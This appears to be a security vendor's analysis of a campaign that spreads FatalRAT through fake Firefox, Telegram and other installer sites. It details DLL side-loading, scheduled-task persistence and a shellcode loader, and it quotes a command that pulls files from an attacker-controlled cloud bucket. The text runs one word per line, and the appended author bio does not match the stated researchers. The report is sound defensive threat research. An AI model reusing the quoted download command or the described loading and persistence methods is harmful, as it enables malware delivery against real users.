These aren’t the apps you’re looking for: fake installers targeting Southeast and East Asia | WeLiveSecurity

ESET
researchers
identified
a
malware
campaign
that
targets
Chinese-speaking
people
in
Southeast
and
East
Asia
by
buying
misleading
advertisements
to
appear
in
Google
search
results
that
lead
to
downloading
trojanized
installers.
The
unknown
attackers
created
fake
websites
that
look
identical
to
those
of
popular
applications
such
as
Firefox,
WhatsApp,
or
Telegram,
but
in
addition
to
providing
the
legitimate
software,
also
deliver

FatalRAT,
a
remote
access
trojan
that
grants
the
attacker
control
of
the
victimized
computer.

Victimology

Figure
1
shows
a
heatmap
with
the
countries
where
we
detected
the
attacks
between
August
2022
and
January
2023.
Most
of
the
attacks
affected
users
in
Taiwan,
China
and
Hong
Kong.

Figure
1.
Countries
where
we
detected
the
attacks
between
August
2022
and
January
2023

We
also
observed
a
small
number
of
cases
in:

• Malaysia
• Japan
• The
  Philippines
• Thailand
• Singapore
• Indonesia
• Myanmar

Attack
overview

A
simplified
overview
of
the
attack
is
shown
in
Figure
2.
A
chain
of
multiple
components
ultimately
installs
the
FatalRAT
malware
that
was

described
by
AT&T
researchers
(@attcyber)
in
August
2021.

Figure
2.
Simplified
overview
of
the
attack

Fake
websites

The
attackers
registered
various
domain
names
that
all
pointed
to
the
same
IP
address:
a
server
hosting
multiple
websites
that
download
trojanized
software.
Some
of
these
websites
look
identical
to
their
legitimate
counterparts
but
deliver
malicious
installers
instead.
The
other
websites,
possibly
translated
by
the
attackers,
offer
Chinese
language
versions
of
software
that
is
not
available
in
China,
such
as
Telegram,
as
shown
in
Figure
3.

Figure
3.
Fake
Telegram
website
that
delivers
the
FatalRAT
malware

We
observed
malicious
websites
and
installers
for
these
applications,
roughly
in
order
of
popularity:

• Chrome
• Firefox
• Telegram
• WhatsApp
• Line
• Signal
• Skype
• Electrum
  Bitcoin
  wallet
• Sogou
  Pinyin
  Method,
  a
  Chinese
  Pinyin
  input
  method
  editor
• Youdao,
  a
  dictionary
  and
  translation
  application
• WPS
  Office,
  a
  free
  office
  suite

You
can
see
other
fake
websites
in
the
gallery
shown
in
Figure
4
(click
on
an
image
to
enlarge
it).
Apart
from

electrumx[.]org,
a
fake
website
in
English
for
the
Electrum
Bitcoin
wallet,
all
the
other
websites
are
in
Chinese,
suggesting
that
the
attackers
are
mostly
targeting
Chinese
speakers.

Figure
4.
Fake
websites
created
by
the
attackers
to
deliver
malicious
installers
(click
to
enlarge)

While
in
theory
there
are
many
possible
ways
that
potential
victims
can
be
directed
to
these
fake
websites,

a
news
site
reported
(English
version

here)
that
they
were
being
shown
an
advertisement
that
led
to
one
of
these
malicious
websites
when
searching
for
the
Firefox
browser
in
Google.
We
couldn’t
reproduce
such
search
results,
but
believe
that
the
ads
were
only
served
to
users
in
the
targeted
region.
An
example
is
shown
in
Figure
5
(image
from
the
original
post
above).
We
reported
the
websites
to
Google
and
the
ads
were
taken
down.

Figure
5.
Search
results
for
Firefox,
with
a
fake
website
advertised
(image
credit:
landiannews.com)

Given
the
fact
that
many
of
the
domain
names
that
the
attackers
registered
for
their
websites
are
very
similar
to
the
legitimate
domains,
it
is
also
possible
that
the
attackers
rely
on
typosquatting
as
well
to
attract
potential
victims
to
their
websites.
Some
examples
are:

You’ll
find
the
rest
of
the
domain
names
that
we
observed
in
the
IoCs
section.

Installers

The
installers
downloaded
from
the
fake
websites
are
not
hosted
on
the
same
server
as
the
websites,
but
in
the

Alibaba
Cloud
Object
Storage
Service.
They
are
digitally
signed
MSI
files
(see
the
Certificates
section)
created
with

Advanced
Installer.
Figure
6
shows
the
malicious
installers
that
the
attackers
uploaded
to
the
cloud
storage
on
January
6^th,
2023.

Figure
6.
Malicious
installers
uploaded
by
the
attackers
to
their
cloud
storage
on
January
6^th,
2023

When
these
installers
are
executed,
they
usually:

• Drop
  and
  execute
  the
  malicious
  loader,
  and
  files
  needed
  to
  run
  the
  FatalRAT
  malware,
  in
  the
  
  %PROGRAMDATA%Progtmy
  directory.
• Drop
  the
  malicious
  updater
  and
  related
  files
  in
  the
  
  %PROGRAMDATA%Progtmy
  directory.
• Drop
  a
  file
  named
  
  ossutilconfig
  in
  the
  
  %USERPROFILE%
  directory.
  This
  file
  contains
  credentials
  used
  by
  the
  updater
  to
  connect
  to
  a
  remote
  bucket
  in
  the
  Alibaba
  Cloud.
• Create
  an
  empty
  directory
  
  %PROGRAMDATA%Progptp
  (although
  we
  observed
  some
  cases
  where
  the
  FatalRAT
  malware
  was
  installed
  in
  this
  directory
  instead).
• Drop
  and
  execute
  the
  legitimate
  installer
  in
  
  C:Program
  FilesCommon
  Files
  (see
  
  CommonFiles64Folder).
• Create
  scheduled
  tasks
  to
  execute
  the
  loader
  and
  updater
  components.

The
malware
is
run
by
side-loading
a
malicious
DLL,

libpng13.dll,
which
is
used
by

sccs.exe
(Browser
Support
Module),
a
legitimate
executable
developed
by
Xunlei.
The
original

libpng13.dll
is
also
included
in
the
installer
package
(renamed
to
what
appears
to
be
a
random
name)
because
the
malicious
DLL
forwards
its
exported
functions
to
the
original
DLL.
Some
of
the
forwarded
exports
in
the
malicious
DLL
are
shown
in
Figure
7.
The
image
shows
that
the
original
DLL
was
renamed
to

BHuedjhd.dll
in
this
example
and
that
the
malicious
DLL
was
compiled
as

Dll22.dll.

Figure
7.
Part
of
the
exported
functions
in
the
malicious
DLL
that
are
forwarded
to
the
original

The
malware
updater
is
executed
in
a
similar
manner,
by
side-loading

dr.dll,
used
by
a
legitimate,
signed
binary
developed
by
Tencent.
The
malicious
DLL
is
very
simple
and
executes

OSSUTIL
(included
in
the
installer
package
as

ssu.exe)
to
download
files
from
an
attacker-controlled
bucket
in
Alibaba
Cloud.
The
command
executed
by
the
DLL
is:

cmd /C “C:ProgramDataProgtmy2ssu.exe cp -r oss://occ-a1/dll/3/  C:ProgramDataProgtmy –update”

This
should
update
files
in
the

%PROGRAMDATA%Progtmy
local
directory
from
the
remote
bucket

occ-a1
(a different
bucket
than
the
ones
used
to
store
the
installers,
but
in
the
same
account),
but
it
doesn’t
work
in
any
of
the
installers
that
we
analyzed
because
the

%PROGRAMDATA%Progtmy2
subdirectory
doesn’t
exist
(it
should
be
subdirectory

0,
created
by
the
installer).

The
attackers
made
the
same
mistake
with
the
scheduled
tasks
created
for
the
updater,
as
the
execution
path
also
refers
to
a
subdirectory
2
that
doesn’t
exist.
In
most
cases,
four
scheduled
tasks
are
created:
two
for
the
RAT
(one
set
to
execute
periodically
and
the
other
whenever
any
user
logs
into
the
PC)
and
two
for
the
updater.
The
names
of
the
tasks
are
based
in
the
Windows
build
number
and
the
name
of
the
computer,
as
shown
in
Figure
8.

Figure
8.
Scheduled
tasks
created
by
the
malicious
installers

Loaders

The
loader
–

libpng13.dll
–
is
a
very
simple
component
that
opens
and
executes
in
memory
a
file
named

Micr.jpg,
located
in
the
same
directory
as
the
DLL.
The
attackers
have
obfuscated
the
loader
with
many
calls
to
a
function
that
just
prints
some
hardcoded
values.
It’s
possible
that
this
behavior
was
used
to
avoid
being
detected
by
security
solutions
or
to
complicate
the
analysis
of
the
DLL.

Figure
9
shows
an
example
of
the
obfuscated
code
on
the
left
and
the
deobfuscated
code
on
the
right.

Figure
9.
Part
of
the
decompiled
code
for

libpng13.dll

on
the
left
and
on
the
right
the
same
code
deobfuscated

Micr.jpg
is
actually
shellcode
that
also
contains
an
embedded
DLL.
The
purpose
of
this
shellcode
is
to
load
and
execute
in
memory
the
embedded
DLL
by
calling
an
export
function
of
the
DLL
named

SignalChromeElf.
Before
the
execution
of
this
export
function,
the
shellcode
reconstructs
the
imports
table
of
the
DLL
and
calls
the

DllEntryPoint,
which
simply
invokes
the
Windows
API
function

DisableThreadLibraryCalls
as
a
way
to
increase
the
stealthiness
of
the
DLL.

SignalChromeElf
essentially
will
decrypt,
load,
and
execute
an
encrypted
payload
located
in
the
embedded
DLL.
This
encrypted
payload
is
the
FatalRAT
malware,
and
after
its
decryption
the
DLL
will
find
the
address
of
an
export
function
called

SVP7,
which
contains
the
entry
point
of
the
malware,
and
call
it,
passing
the
encrypted
configuration
of
FatalRAT
as
an
argument.

The
function
in
the
embedded
DLL
that
decrypts
the
payload
is
the
same
as
the
function
used
in
FatalRAT
to
decrypt
its
configuration.
An
example
of
this
function
is
shown
in
Figure
10.

FatalRAT

FatalRAT
is
a
remote
access
trojan
documented
in
August
2021,
by

AT&T
Alien
Labs.
This
malware
provides
a
set
of
functionalities
to
perform
various
malicious
activities
on
a
victim’s
computer.
As
an
example,
the
malware
can:

• Capture
  keystrokes
• Change
  the
  victim’s
  screen
  resolution
• Terminate
  browser
  processes
  and
  steal
  or
  delete
  their
  stored
  data.
  The
  targeted
  browsers
  are:
  • Chrome
  • Firefox
  • QQBrowser
  • Sogou
    Explorer
• Download
  and
  execute
  a
  file
• Execute
  shell
  commands

This
malware
contains
various
checks
to
determine
whether
it’s
running
in
a
virtualized
environment.
Depending
on
its
configuration,
these
checks
may
be
executed
or
not.

From
our
own
analysis
we
were
able
to
determine
that
the
FatalRAT
version
used
in
this
campaign
is
very
similar
to
the
one
documented
by
AT&T
in
their
blogpost,
so
we
won’t
go
into
more
details.
A
comparison
of
them
is
shown
in
Figure
11,
and
Figure
10
shows
the
decompiled
code
used
to
decrypt
strings
in
the
FatalRAT
samples
from
this
campaign,
which
is
the
same
as
the
one
described
by
AT&T.

Figure
10.
Decompiled
code
of
a
function
used
by
a
FatalRAT
sample
to
decrypt
its
configuration
strings

Figure
11.
BinDiff
comparison
between
a
FatalRAT
sample
analyzed
by
AT&T
and
the
FatalRAT
sample
found
in
this
campaign

Previous
version

We
found
a
previous
version
of
the
malicious
installer
that
the
attackers
have
used
since
at
least
May
2022.
Unlike
the
installers
that
we
described
previously,
this
version
contains
an
XOR-encrypted
payload,
divided
into
three
files:

Micr.flv,

Micr2.flv,
and

Micr3.flv,
each
file
encrypted
with
a
different,
single
byte
XOR
key.
Once
decrypted,
the
content
of
the
three
files
is
concatenated,
forming
shellcode
that
contacts
a
C&C
server
to
download
and
execute
further
shellcode.

The
loader
DLL
in
this
case
is
named

dr.dll
–
the
same
name
that
is
used
for
the
update
mechanism
in
later
versions
of
the
installer,
side-loaded
by
the
same
legitimate
executable.
Given
that
this
older
version
doesn’t
seem
to
have
an
updater,
we
believe
that
the
attackers
have
replaced
it
with
the
new
version
of
the
installer
since
August
2022.

Twitter
user
Jirehlov
Solace
reported
other
versions
of
the
installers
starting
in
May
2022,
as
can
be
seen
in

this thread.
Although
some
of
those
installers
are
the
same
as
ones
in
this
report,
it
seems
that
most
of
them
are
different,
compiled
as
EXE
files
(not
MSI
installers)
and
using
a
variety
of
software
packers.
Those
samples
are
probably
connected
with
Operation
Dragon
Breath
as

described
by
Qi
An
Xin
in
May
2022.

Conclusion

The
attackers
have
expended
some
effort
regarding
the
domain
names
used
for
their
websites,
trying
to
be
as
similar
to
the
official
names
as
possible.
The
fake
websites
are,
in
most
cases,
identical
copies
of
the
legitimate
sites.
As
for
the
trojanized
installers,
they
install
the
actual
application
that
the
user
was
interested
in,
avoiding
suspicion
of
a
possible
compromise
on
the
victim’s
machine.
For
all
of
these
reasons,
we
see
how
important
it
is
to
diligently
check
the
URL
that
we
are
visiting
before
we
download
software.
Even
better,
type
it
into
your
browser’s
address
bar
after
checking
that
it
is
the
actual
vendor
site.

Since
the
malware
used
is
this
campaign,
FatalRAT,
contains
various
commands
used
to
manipulate
data
from
different
browsers,
and
the
victimology
is
not
focused
on
a
particular
type
of
user,
anyone
can
be
affected.
It
is
possible
that
the
attackers
are
solely
interested
in
the
theft
of
information
like
web
credentials
to
sell
them
on
underground
forums
or
to
use
them
for
another
type
of
crimeware
campaign,
but
for
now
specific
attribution
of
this
campaign
to
a
known
or
new
threat
actor
is
not
possible.

IoCs

Files

Network

Certificates

MITRE
ATT&CK
techniques

This
table
was
built
using

version
12
of
the
MITRE
ATT&CK
framework.

About Author

AndyC

Andy Curtis is an award-winning security consultant, researcher and public speaker. He has been working in the computer security industry since the early 1990s, having been employed by state and federal government, leading healthcare and banking providers across three continents. He has given talks about computer security for some of the world’s largest companies, worked with law enforcement agencies on investigations into hacking groups, and is a regular voice on TV and radio explaining IT security threats.

See author's posts